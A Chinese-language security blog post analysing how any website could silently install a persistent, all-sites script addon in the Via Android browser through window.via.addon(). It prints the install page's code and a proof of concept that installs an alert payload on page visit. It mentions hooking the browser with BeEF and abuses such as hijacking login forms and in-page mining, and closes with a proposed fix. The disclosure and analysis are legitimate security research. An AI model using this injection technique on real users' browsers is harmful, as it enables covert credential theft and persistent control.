Via浏览器插件小漏洞以及利用
注:这是从我原来博客搬迁过来的老文章,一个安全问题的技术分析文章,如果您只是来找插件,那么你来错地方了.抱歉.
缘起
Via浏览器大概是我最喜欢的浏览器,也一直是我一直用着,用了几年的一个浏览器。曾经也用过夸克等等号称轻量的浏览器,功能是不错,然而夸克浏览器那简约的外表背后谁知道还留了一(几)道,具体不谈.
至于Via小脚本一直很有特色,到2019年5月份才动手打算自己写一点什么。但是开发过程中发现任何站点是可以直接安装插件,这个过程不需要用户参与太多,仅仅提示安装上了。插件js可以在任何页面执行,这造成了一些安全隐患。比如表单咱可以做点手脚,劫持登录信息,装Js矿机,或者上个Beef之类的。并且可以持久化操控浏览器.
可以说这个文章没有什么溢出,没有什么二进制,没有怎么逆向,全程简单web,没有解密,只能水坑,没有什么价值。写着玩玩。
分析过程
首先,分析了一下官方安装插件的站点页面,没什么东西,审查元素,安装按下后执行operate()函数,还有一些一眼就能看出是base64的东西,核心部分也就一个JS,关键的js。
格式化后如下:
function(event) {
var button = $(event.relatedTarget)
var oid = button.data('where')
var data = findAddon(oid)
var name = data.data('name')
var author = 'powered by @' + data.data('author')
var info = data.data('info')
var modal = $(this)
modal.find('#addonName').html(name)
modal.find('#addonInfo').html(info)
modal.find('#addonAuthor').html(author)
})
//太长了 XD
//点开查看完整的
//Click --------------↗
function operate(id) {//Haben Sie das gesehen?Hier.
var i = findAddon(id)
var addon_json = JSON.stringify({
'id': i.data('id'),
'name': i.data('name'),
'author': i.data('author'),
'url': i.data('url'), //这里是触发脚本运行地址(比如*.restkhz.com就会在访问到我博客的时候自动执行
'code': i.data('code') //und hier ist BASE64 code.
//这里是最有趣的地方,base64的插件JS源码.
})
var base64 = new Base64()
var addon_result = base64.encode(addon_json)
try {
window.via.addon(addon_result)
} catch (error) {
console.log(error)
}
setStauts(id, i.data('status') == 0 ? 1 : 0)
}
function setStauts(id, status) {
findAddon(id).data('status', status)
$('#operate-' + id).html(status == 0 ? lang['install'] : lang['uninstall'])
}
function findAddon(id) {
return $('#addon-' + id)
}
function submitLang() {
$('#lang-form').submit()
}
$(document).ready(function() {
var data = '[]'
try {
data = window.via.getInstalledAddonID()
} catch (error) {
console.log(error)
}
var json = JSON.parse(data)
for (var i = 0; i < json.length; i++) {
setStauts(json[i], 1)
}
})
省略了部分base64处理代码。
捋了一下:
大概就是把一个插件json字符串base64一下,丢给window.via.addon(),检查状态,就这样。至于json,主要是code,是已经base64的js,还有url,指定了工作的域名,* Bedeutet alles。
构建和利用
咱们来照猫画虎,按瓢画葫芦
学原来的那个被解析的Json格式,写一个json出来.Code是插件源码,我们写一个简单的js弹窗alert(‘restkhz’)并且base64编码为YWxlcnQoJ3Jlc3RraHonKQ==, URL指定了触发的网址,我们这里写一个星号,意味着所有网址都可以触发它运行.
再写了一个html,里面就运行一段js.
function addonApp (appObj) {//安装卸载都是它
appStr = '{author:"restkhz",code:"YWxlcnQoJ3Jlc3RraHonKQ==",id:"9999",name:"TEST",url:"*"}'
var base64 = new Base64()
var addon_result = base64.encode(appStr)
try {
window.via.addon(addon_result)
} catch (error) {
console.log(error)
}
//setStauts(id, i.data('status') == 0 ? 1 : 0)
}
//base64处理代码完全省略
addonApp();
如图,直接访问地址就装上了,顺道还已经执行了。
这里还有一个beef:
补充:由于从wp迁移过来图自然是没了,以后有空补上。
很不幸!图没备份!
简单说一下,当时就弹窗了,BeEF也收到回连.
其实按照构想,这个漏洞可以用于用户地理位置监控,挖矿,并且可以自己定期检查更新自己.因为安装时只有安装成功字样却没有任何询问.对于很多用户可能还一脸懵逼的不知道发生了什么.
解决方案
我能想的到的,大概就是给插件加开关。默认禁用,除非用户手动打开。不知道实现是否困难?
Comments
1:
这是怎么看的呀,我找了半天没看到那个网站里的有效代码
Replyrestkhz:(admin)